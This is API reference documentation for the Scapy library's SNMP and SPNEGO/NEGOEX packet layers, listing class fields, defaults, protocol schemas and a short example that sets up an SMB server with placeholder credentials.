ASN1_root = <ASN1F_SNMP_PDU_RESPONSE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <ASN1F_SEQUENCE_OF varbindlist>)>

	




	
aliastypes

	




	
fields_desc

	
SNMPresponse fields






	id

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	error

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	error_index

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	varbindlist

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.snmp.SNMPset(_pkt, /, *, id=0x0 <ASN1_INTEGER[0]>, error=0x0 <ASN1_INTEGER[0]>, error_index=0x0 <ASN1_INTEGER[0]>, varbindlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L220-L226]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SNMP_PDU_SET(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <ASN1F_SEQUENCE_OF varbindlist>)>

	




	
aliastypes

	




	
fields_desc

	
SNMPset fields






	id

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	error

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	error_index

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	varbindlist

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.snmp.SNMPtrapv1(_pkt, /, *, enterprise=<ASN1_OID['.1.3']>, agent_addr=<ASN1_IPADDRESS['0.0.0.0']>, generic_trap=0x0 <ASN1_INTEGER[0]>, specific_trap=0x0 <ASN1_INTEGER[0]>, time_stamp=0x661bd518 <ASN1_TIME_TICKS[<IntAutoTime>]>, varbindlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L229-L237]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SNMP_PDU_TRAPv1(<scapy.asn1fields.ASN1F_OID object>, <scapy.asn1fields.ASN1F_IPADDRESS object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_TIME_TICKS object>, <ASN1F_SEQUENCE_OF varbindlist>)>

	




	
aliastypes

	




	
fields_desc

	
SNMPtrapv1 fields






	enterprise

	ASN1F_OID

	<ASN1_OID['.1.3']>



	agent_addr

	ASN1F_IPADDRESS

	<ASN1_IPADDRESS['0.0.0.0']>



	generic_trap

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	specific_trap

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	time_stamp

	ASN1F_TIME_TICKS

	0x661bd518 <ASN1_TIME_TICKS[<IntAutoTime>]>



	varbindlist

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.snmp.SNMPtrapv2(_pkt, /, *, id=0x0 <ASN1_INTEGER[0]>, error=0x0 <ASN1_INTEGER[0]>, error_index=0x0 <ASN1_INTEGER[0]>, varbindlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L258-L264]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SNMP_PDU_TRAPv2(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <ASN1F_SEQUENCE_OF varbindlist>)>

	




	
aliastypes

	




	
fields_desc

	
SNMPtrapv2 fields






	id

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	error

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	error_index

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	varbindlist

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.snmp.SNMPvarbind(_pkt, /, *, oid=<ASN1_OID['.1.3']>, value=<ASN1_NULL[0]>, noSuchObject=None, noSuchInstance=None, endOfMibView=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L178-L190]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_OID object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
SNMPvarbind fields






	oid

	ASN1F_OID

	<ASN1_OID['.1.3']>



	value

	ASN1F_field

	<ASN1_NULL[0]>



	noSuchObject

	ASN1F_NULL

	None



	noSuchInstance

	ASN1F_NULL

	None



	endOfMibView

	ASN1F_NULL

	None















	
scapy.layers.snmp.snmpwalk(dst, oid='1', community='public')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/snmp.py#L290-L304]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.layers.spnego

SPNEGO

Implements parts of:


	GSSAPI SPNEGO: RFC4178 > RFC2478


	GSSAPI SPNEGO NEGOEX: [MS-NEGOEX]





Note

You will find more complete documentation for this layer over at
GSSAPI [https://scapy.readthedocs.io/en/latest/layers/gssapi.html#spnego]




	
class scapy.layers.spnego.NEGOEX_BYTE_VECTOR(_pkt, /, *, ByteArrayBufferOffset=0, ByteArrayLength=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L315-L322]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     BYTEARRAYBUFFEROFFSET                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        BYTEARRAYLENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. NEGOEX_BYTE_VECTOR                      


NEGOEX_BYTE_VECTOR fields






	ByteArrayBufferOffset

	LEIntField

	0



	ByteArrayLength

	LEIntField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L321-L322]

	








	
class scapy.layers.spnego.NEGOEX_CHECKSUM(_pkt, /, *, cbHeaderLength=20, ChecksumScheme=1, ChecksumType=None, ChecksumValue=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L426-L432]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CBHEADERLENGTH                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CHECKSUMSCHEME                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CHECKSUMTYPE                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CHECKSUMVALUE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NEGOEX_CHECKSUM                       


NEGOEX_CHECKSUM fields






	cbHeaderLength

	LELongField

	20



	ChecksumScheme

	LELongEnumField

	1



	ChecksumType

	LELongEnumField

	None



	ChecksumValue

	XStrLenField

	b''















	
class scapy.layers.spnego.NEGOEX_EXCHANGE_MESSAGE(_pkt, /, *, Signature=b'NEGOEXTS', MessageType=0, SequenceNum=0, cbHeaderLength=None, cbMessageLength=None, ConversationId=None, AuthScheme=None, ExchangeBufferOffset=0, ExchangeLen=0, Payload=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L435-L464]

	Bases: _NTLMPayloadPacket


	
OFFSET = 64

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SIGNATURE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MESSAGETYPE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          SEQUENCENUM                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CBHEADERLENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        CBMESSAGELENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CONVERSATIONID                        |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           AUTHSCHEME                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      EXCHANGEBUFFEROFFSET                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          EXCHANGELEN                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PAYLOAD            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. NEGOEX_EXCHANGE_MESSAGE                   


NEGOEX_EXCHANGE_MESSAGE fields






	Signature

	StrFixedLenField

	b'NEGOEXTS'



	MessageType

	LEIntEnumField

	0



	SequenceNum

	LEIntField

	0



	cbHeaderLength

	LEIntField

	None



	cbMessageLength

	LEIntField

	None



	ConversationId

	UUIDField

	None



	AuthScheme

	UUIDEnumField

	None



	ExchangeBufferOffset

	LEIntField

	0



	ExchangeLen

	LEIntField

	0



	Payload

	_NTLMPayloadField

	[]











	
show_indent = 0

	








	
class scapy.layers.spnego.NEGOEX_EXTENSION_VECTOR(_pkt, /, *, ExtensionArrayOffset=0, ExtensionCount=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L325-L329]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      EXTENSIONARRAYOFFSET                     |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         EXTENSIONCOUNT        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. NEGOEX_EXTENSION_VECTOR                   


NEGOEX_EXTENSION_VECTOR fields






	ExtensionArrayOffset

	LELongField

	0



	ExtensionCount

	LEShortField

	0















	
class scapy.layers.spnego.NEGOEX_MESSAGE_HEADER(_pkt, /, *, Signature=b'NEGOEXTS', MessageType=0, SequenceNum=0, cbHeaderLength=None, cbMessageLength=None, ConversationId=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L267-L295]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SIGNATURE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MESSAGETYPE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          SEQUENCENUM                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CBHEADERLENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        CBMESSAGELENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CONVERSATIONID                        |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. NEGOEX_MESSAGE_HEADER                    


NEGOEX_MESSAGE_HEADER fields






	Signature

	StrFixedLenField

	b'NEGOEXTS'



	MessageType

	LEIntEnumField

	0



	SequenceNum

	LEIntField

	0



	cbHeaderLength

	LEIntField

	None



	cbMessageLength

	LEIntField

	None



	ConversationId

	UUIDField

	None











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L290-L295]

	








	
class scapy.layers.spnego.NEGOEX_NEGO_MESSAGE(_pkt, /, *, Signature=b'NEGOEXTS', MessageType=0, SequenceNum=0, cbHeaderLength=None, cbMessageLength=None, ConversationId=None, Random=b'', ProtocolVersion=0, AuthSchemeBufferOffset=None, AuthSchemeCount=None, ExtensionBufferOffset=None, ExtensionCount=None, Payload=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L332-L389]

	Bases: _NTLMPayloadPacket


	
OFFSET = 92

	




	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L381-L389]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SIGNATURE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MESSAGETYPE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          SEQUENCENUM                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CBHEADERLENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        CBMESSAGELENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CONVERSATIONID                        |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             RANDOM                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        PROTOCOLVERSION                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     AUTHSCHEMEBUFFEROFFSET                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        AUTHSCHEMECOUNT        |     EXTENSIONBUFFEROFFSET     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         EXTENSIONCOUNT        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PAYLOAD            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. NEGOEX_NEGO_MESSAGE                     


NEGOEX_NEGO_MESSAGE fields






	Signature

	StrFixedLenField

	b'NEGOEXTS'



	MessageType

	LEIntEnumField

	0



	SequenceNum

	LEIntField

	0



	cbHeaderLength

	LEIntField

	None



	cbMessageLength

	LEIntField

	None



	ConversationId

	UUIDField

	None



	Random

	XStrFixedLenField

	b''



	ProtocolVersion

	LELongField

	0



	AuthSchemeBufferOffset

	LEIntField

	None



	AuthSchemeCount

	LEShortField

	None



	ExtensionBufferOffset

	LEIntField

	None



	ExtensionCount

	LEShortField

	None



	Payload

	_NTLMPayloadField

	[]











	
payload_guess

	Possible sublayers:
NEGOEX_NEGO_MESSAGE






	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L366-L379]

	




	
show_indent = 0

	








	
class scapy.layers.spnego.NEGOEX_VERIFY_MESSAGE(_pkt, /, *, Signature=b'NEGOEXTS', MessageType=0, SequenceNum=0, cbHeaderLength=None, cbMessageLength=None, ConversationId=None, AuthScheme=None, Checksum=<NEGOEX_CHECKSUM  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L467-L473]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SIGNATURE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MESSAGETYPE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          SEQUENCENUM                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CBHEADERLENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        CBMESSAGELENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CONVERSATIONID                        |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           AUTHSCHEME                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CHECKSUM           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. NEGOEX_VERIFY_MESSAGE                    


NEGOEX_VERIFY_MESSAGE fields






	Signature

	StrFixedLenField

	b'NEGOEXTS'



	MessageType

	LEIntEnumField

	0



	SequenceNum

	LEIntField

	0



	cbHeaderLength

	LEIntField

	None



	cbMessageLength

	LEIntField

	None



	ConversationId

	UUIDField

	None



	AuthScheme

	UUIDEnumField

	None



	Checksum

	PacketField

	<NEGOEX_CHECKSUM  |>











	
show_indent = 0

	








	
class scapy.layers.spnego.SPNEGOSSP(ssps, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L484-L952]

	Bases: SSP

The SPNEGO SSP


	Parameters:

	ssps – a dict with keys being the SSP class, and the value being a
dictionary of the keyword arguments to pass it on init.





Example:

from scapy.layers.ntlm import NTLMSSP
from scapy.layers.kerberos import KerberosSSP
from scapy.layers.spnego import SPNEGOSSP
from scapy.layers.smbserver import smbserver
from scapy.libs.rfc3961 import Encryption, Key

ssp = SPNEGOSSP([
    NTLMSSP(
        IDENTITIES={
            "User1": MD4le("Password1"),
            "Administrator": MD4le("Password123!"),
        }
    ),
    KerberosSSP(
        SPN="cifs/server2.domain.local",
        KEY=Key(
            Encryption.AES256,
            key=hex_bytes("5e9255c907b2f7e969ddad816eabbec8f1f7a387c7194ecc98b827bdc9421c2b")
        )
    )
])
smbserver(ssp=ssp)






	
class CONTEXT(supported_ssps, req_flags=None, force_supported_mechtypes=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L528-L573]

	Bases: CONTEXT


	
first_choice

	




	
first_reply

	




	
negotiated_mechtype

	




	
requested_mechtypes

	




	
ssp

	




	
sub_context

	




	
supported_mechtypes

	








	
GSS_Accept_sec_context(Context: CONTEXT, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L907-L908]

	




	
GSS_GetMICEx(Context, *args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L683-L685]

	




	
GSS_Init_sec_context(Context: CONTEXT, val=None, req_flags: GSS_C_FLAGS | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L902-L905]

	




	
GSS_Passive(Context: CONTEXT, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L910-L944]

	




	
GSS_Passive_set_Direction(Context: CONTEXT, IsAcceptor=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L946-L949]

	




	
GSS_UnwrapEx(Context, *args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L679-L681]

	




	
GSS_VerifyMICEx(Context, *args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L687-L689]

	




	
GSS_WrapEx(Context, *args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L675-L677]

	




	
LegsAmount(Context: CONTEXT)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L691-L692]

	




	
MaximumSignatureLength(Context: CONTEXT)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L951-L952]

	




	
NegTokenInit2()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L643-L673]

	Server-Initiation of GSSAPI/SPNEGO.
See [MS-SPNG] sect 3.2.5.2






	
class STATE(value, names=None, *values, module=None, qualname=None, type=None, start=1, boundary=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L523-L526]

	Bases: STATE


	
CHANGESSP = 2

	




	
FIRST = 1

	




	
NORMAL = 3

	








	
auth_type = 9

	




	
force_supported_mechtypes

	




	
supported_ssps

	








	
class scapy.layers.spnego.SPNEGO_MechListMIC(_pkt, /, *, value=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L104-L106]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_STRING object>

	




	
aliastypes

	




	
fields_desc

	
SPNEGO_MechListMIC fields






	value

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.spnego.SPNEGO_MechType(_pkt, /, *, oid=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L94-L96]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_OID object>

	




	
aliastypes

	




	
fields_desc

	
SPNEGO_MechType fields






	oid

	ASN1F_OID

	None















	
class scapy.layers.spnego.SPNEGO_MechTypes(_pkt, /, *, mechTypes=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L99-L101]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF mechTypes>

	




	
aliastypes

	




	
fields_desc

	
SPNEGO_MechTypes fields






	mechTypes

	ASN1F_SEQUENCE_OF

	None















	
class scapy.layers.spnego.SPNEGO_Token(_pkt, /, *, value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L133-L135]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.layers.spnego._SPNEGO_Token_Field object>

	




	
aliastypes

	




	
fields_desc

	
SPNEGO_Token fields






	value

	_SPNEGO_Token_Field

	None















	
class scapy.layers.spnego.SPNEGO_negHints(_pkt, /, *, hintName=<ASN1_GENERAL_STRING['not_defined_in_RFC4178@please_ignore']>, hintAddress=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L150-L162]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
SPNEGO_negHints fields






	hintName

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['not_defined_in_RFC4178@please_ignore']>



	hintAddress

	ASN1F_GENERAL_STRING

	None















	
class scapy.layers.spnego.SPNEGO_negToken(_pkt, /, *, token=<SPNEGO_negTokenInit  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L223-L240]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_CHOICE object>

	




	
aliastypes

	




	
fields_desc

	
SPNEGO_negToken fields






	token

	ASN1F_CHOICE

	<SPNEGO_negTokenInit  |>















	
class scapy.layers.spnego.SPNEGO_negTokenInit(_pkt, /, *, mechTypes=None, reqFlags=None, mechToken=None, negHints=None, mechListMIC=None, _mechListMIC=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L165-L186]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
SPNEGO_negTokenInit fields






	mechTypes

	ASN1F_SEQUENCE_OF

	None



	reqFlags

	ASN1F_FLAGS

	None



	mechToken

	ASN1F_PACKET

	None



	negHints

	ASN1F_PACKET

	None



	mechListMIC

	ASN1F_PACKET

	None



	_mechListMIC

	ASN1F_PACKET

	None















	
class scapy.layers.spnego.SPNEGO_negTokenResp(_pkt, /, *, negResult=0x0 <ASN1_ENUMERATED[0]>, supportedMech=<SPNEGO_MechType  |>, responseToken=None, mechListMIC=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L193-L220]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
SPNEGO_negTokenResp fields






	negResult

	ASN1F_ENUMERATED

	0x0 <ASN1_ENUMERATED[0]>



	supportedMech

	ASN1F_PACKET

	<SPNEGO_MechType  |>



	responseToken

	ASN1F_PACKET

	None



	mechListMIC

	ASN1F_PACKET

	None















	
scapy.layers.spnego.mechListMIC(oids)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/spnego.py#L249-L253]

	Implementation of RFC 4178 - Appendix D. mechListMIC Computation








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.ssh

Secure Shell (SSH) Transport Layer Protocol

